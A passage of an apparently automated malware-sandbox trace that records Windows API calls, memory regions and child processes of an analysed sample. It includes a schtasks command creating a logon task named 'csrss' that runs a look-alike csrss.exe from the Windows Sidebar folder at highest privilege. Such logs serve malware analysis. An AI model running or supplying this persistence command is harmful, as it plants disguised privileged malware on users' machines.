returned 0x280000 [0058.011] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295b50) returned 1 [0058.011] GetProcessHeap () returned 0x280000 [0058.011] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295b50) returned 0x20 [0058.012] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295b50 | out: hHeap=0x280000) returned 1 [0058.012] GetProcessHeap () returned 0x280000 [0058.012] GetProcessHeap () returned 0x280000 [0058.012] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295b80) returned 1 [0058.012] GetProcessHeap () returned 0x280000 [0058.012] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295b80) returned 0x20 [0058.012] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295b80 | out: hHeap=0x280000) returned 1 [0058.012] GetProcessHeap () returned 0x280000 [0058.012] GetProcessHeap () returned 0x280000 [0058.012] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29bb70) returned 1 [0058.012] GetProcessHeap () returned 0x280000 [0058.012] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29bb70) returned 0x18 [0058.012] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29bb70 | out: hHeap=0x280000) returned 1 [0058.012] GetProcessHeap () returned 0x280000 [0058.012] GetProcessHeap () returned 0x280000 [0058.013] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295bb0) returned 1 [0058.013] GetProcessHeap () returned 0x280000 [0058.013] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295bb0) returned 0x20 [0058.014] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295bb0 | out: hHeap=0x280000) returned 1 [0058.014] GetProcessHeap () returned 0x280000 [0058.014] GetProcessHeap () returned 0x280000 [0058.014] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295c40) returned 1 [0058.014] GetProcessHeap () returned 0x280000 [0058.014] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295c40) returned 0x20 [0058.015] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295c40 | out: hHeap=0x280000) returned 1 [0058.015] GetProcessHeap () returned 0x280000 [0058.015] GetProcessHeap () returned 0x280000 [0058.015] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295ca0) returned 1 [0058.015] GetProcessHeap () returned 0x280000 [0058.015] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295ca0) returned 0x20 [0058.015] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295ca0 | out: hHeap=0x280000) returned 1 [0058.015] GetProcessHeap () returned 0x280000 [0058.015] GetProcessHeap () returned 0x280000 [0058.015] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295d00) returned 1 [0058.015] GetProcessHeap () returned 0x280000 [0058.015] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295d00) returned 0x20 [0058.016] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295d00 | out: hHeap=0x280000) returned 1 [0058.016] GetProcessHeap () returned 0x280000 [0058.016] GetProcessHeap () returned 0x280000 [0058.016] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295d30) returned 1 [0058.016] GetProcessHeap () returned 0x280000 [0058.016] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295d30) returned 0x20 [0058.016] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295d30 | out: hHeap=0x280000) returned 1 [0058.016] GetProcessHeap () returned 0x280000 [0058.016] GetProcessHeap () returned 0x280000 [0058.016] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29bb90) returned 1 [0058.016] GetProcessHeap () returned 0x280000 [0058.016] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29bb90) returned 0x18 [0058.016] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29bb90 | out: hHeap=0x280000) returned 1 [0058.016] GetProcessHeap () returned 0x280000 [0058.016] GetProcessHeap () returned 0x280000 [0058.016] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295c70) returned 1 [0058.016] GetProcessHeap () returned 0x280000 [0058.016] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295c70) returned 0x20 [0058.017] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295c70 | out: hHeap=0x280000) returned 1 [0058.017] GetProcessHeap () returned 0x280000 [0058.017] GetProcessHeap () returned 0x280000 [0058.017] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29bb10) returned 1 [0058.017] GetProcessHeap () returned 0x280000 [0058.017] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29bb10) returned 0x18 [0058.017] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29bb10 | out: hHeap=0x280000) returned 1 [0058.017] exit (_Code=0) Thread: id = 97 os_tid = 0xecc Process: id = "9" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3ddf2000" os_pid = "0xed0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"csrss\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1657 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1658 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1659 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1660 start_va = 0x1a0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1661 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1662 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1663 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1664 start_va = 0xff690000 end_va = 0xff6d7fff monitored = 1 entry_point = 0xff6b966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1665 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1666 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1667 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1668 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1670 start_va = 0x50000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1671 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1672 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1673 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1674 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1675 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1676 start_va = 0x220000 end_va = 0x286fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1677 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1678 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1679 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1680 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1681 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1682 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1683 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1684 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1685 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1686 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1687 start_va = 0x290000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1688 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 1689 start_va = 0x160000 end_va = 0x188fff monitored = 0 entry_point = 0x161010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1690 start_va = 0x450000 end_va = 0x5d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1691 start_va = 0x160000 end_va = 0x188fff monitored = 0 entry_point = 0x161010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1692 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1693 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1694 start_va = 0x5e0000 end_va = 0x760fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 1695 start_va = 0x770000 end_va = 0x1b6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 1696 start_va = 0x160000 end_va = 0x171fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 1697 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1698 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1699 start_va = 0x60000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1700 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1701 start_va = 0x1b70000 end_va = 0x1e3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1703 start_va = 0x290000 end_va = 0x30cfff monitored = 0 entry_point = 0x29cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1704 start_va = 0x340000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 1705 start_va = 0x290000 end_va = 0x30cfff monitored = 0 entry_point = 0x29cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1706 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1707 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1708 start_va = 0x1e40000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 1709 start_va = 0x1f20000 end_va = 0x1ffefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f20000" filename = "" Region: id = 1710 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1711 start_va = 0x2090000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 1712 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1714 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1715 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 1716 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1717 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1718 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1719 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1720 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 98 os_tid = 0xed4 [0057.612] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x21fac0 | out: lpSystemTimeAsFileTime=0x21fac0*(dwLowDateTime=0x4b7bdd60, dwHighDateTime=0x1d9eb0c)) [0057.612] GetCurrentProcessId () returned 0xed0 [0057.612] GetCurrentThreadId () returned 0xed4 [0057.612] GetTickCount () returned 0x176408f [0057.612] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x21fac8 | out: lpPerformanceCount=0x21fac8*=2486409573449) returned 1 [0057.613] GetModuleHandleW (lpModuleName=0x0) returned 0xff690000 [0057.613] __set_app_type (_Type=0x1) [0057.613] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff6b972c) returned 0x0 [0057.613] __wgetmainargs (in: _Argc=0xff6d1240, _Argv=0xff6d1250, _Env=0xff6d1248, _DoWildCard=0, _StartInfo=0xff6d125c | out: _Argc=0xff6d1240, _Argv=0xff6d1250, _Env=0xff6d1248) returned 0 [0057.614] _onexit (_Func=0xff6c2ab0) returned 0xff6c2ab0 [0057.614] _onexit (_Func=0xff6c2ac4) returned 0xff6c2ac4 [0057.615] _onexit (_Func=0xff6c2afc) returned 0xff6c2afc [0057.615] _onexit (_Func=0xff6c2b58) returned 0xff6c2b58 [0057.615] _onexit (_Func=0xff6c2b80) returned 0xff6c2b80 [0057.615] _onexit (_Func=0xff6c2ba8) returned 0xff6c2ba8 [0057.615] _onexit (_Func=0xff6c2bd0) returned 0xff6c2bd0 [0057.615] _onexit (_Func=0xff6c2bf8) returned 0xff6c2bf8 [0057.616] _onexit (_Func=0xff6c2c20) returned 0xff6c2c20 [0057.616] _onexit (_Func=0xff6c2c48) returned 0xff6c2c48 [0057.616] _onexit (_Func=0xff6c2c70) returned 0xff6c2c70 [0057.616] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0057.616] WinSqmIsOptedIn () returned 0x0 [0057.617] GetProcessHeap () returned 0x60000 [0057.617] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x77fa0 [0057.617] SetLastError (dwErrCode=0x0) [0057.617] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0057.617] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0057.617] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0057.617] VerifyVersionInfoW (in: lpVersionInformation=0x21f280, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21f280) returned 1 [0057.617] GetProcessHeap () returned 0x60000 [0057.617] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bb10 [0057.618] lstrlenW (lpString="") returned 0 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x2) returned 0x7bb30 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75a30 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bb50 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75a60 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75a90 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75ac0 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75af0 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bb70 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75b20 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75b50 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75b80 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75bb0 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bb90 [0057.618] GetProcessHeap () returned 0x60000 [0057.618] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75be0 [0057.618] GetProcessHeap () returned 0x60000 [0057.619] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75c10 [0057.619] GetProcessHeap () returned 0x60000 [0057.620] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75c40 [0057.620] GetProcessHeap () returned 0x60000 [0057.620] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75c70 [0057.620] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0057.620] SetLastError (dwErrCode=0x0) [0057.620] GetProcessHeap () returned 0x60000 [0057.620] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75ca0 [0057.620] GetProcessHeap () returned 0x60000 [0057.620] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75cd0 [0057.620] GetProcessHeap () returned 0x60000 [0057.620] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75d00 [0057.620] GetProcessHeap () returned 0x60000 [0057.620] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75d30 [0057.620] GetProcessHeap () returned 0x60000 [0057.620] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75d60 [0057.620] GetProcessHeap () returned 0x60000 [0057.620] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bbb0 [0057.620] _memicmp (_Buf1=0x7bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.620] GetProcessHeap () returned 0x60000 [0057.620] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x208) returned 0x7bd50 [0057.621] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7bd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0057.621] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0057.623] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0057.623] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0057.623] GetProcessHeap () returned 0x60000 [0057.623] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x74e) returned 0x7c320 [0057.623] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0057.624] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x7c320 | out: lpData=0x7c320) returned 1 [0057.624] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0057.624] VerQueryValueW (in: pBlock=0x7c320, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21f368, puLen=0x21f3d0 | out: lplpBuffer=0x21f368*=0x7c6bc, puLen=0x21f3d0) returned 1 [0057.626] _memicmp (_Buf1=0x7bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.626] _vsnwprintf (in: _Buffer=0x7bd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21f348 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0057.626] VerQueryValueW (in: pBlock=0x7c320, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21f3d8, puLen=0x21f3c8 | out: lplpBuffer=0x21f3d8*=0x7c4e8, puLen=0x21f3c8) returned 1 [0057.626] lstrlenW (lpString="schtasks.exe") returned 12 [0057.626] lstrlenW (lpString="schtasks.exe") returned 12 [0057.626] lstrlenW (lpString=".EXE") returned 4 [0057.626] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0057.651] lstrlenW (lpString="schtasks.exe") returned 12 [0057.651] lstrlenW (lpString=".EXE") returned 4 [0057.651] _memicmp (_Buf1=0x7bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.651] lstrlenW (lpString="schtasks") returned 8 [0057.651] GetProcessHeap () returned 0x60000 [0057.651] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75e50 [0057.651] GetProcessHeap () returned 0x60000 [0057.651] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cc30 [0057.652] GetProcessHeap () returned 0x60000 [0057.652] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cc60 [0057.652] GetProcessHeap () returned 0x60000 [0057.652] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cc90 [0057.652] GetProcessHeap () returned 0x60000 [0057.652] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bbd0 [0057.652] _memicmp (_Buf1=0x7bbd0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.652] GetProcessHeap () returned 0x60000 [0057.652] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xa0) returned 0x7c150 [0057.652] GetProcessHeap () returned 0x60000 [0057.652] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ccc0 [0057.652] GetProcessHeap () returned 0x60000 [0057.652] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ccf0 [0057.652] GetProcessHeap () returned 0x60000 [0057.652] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, 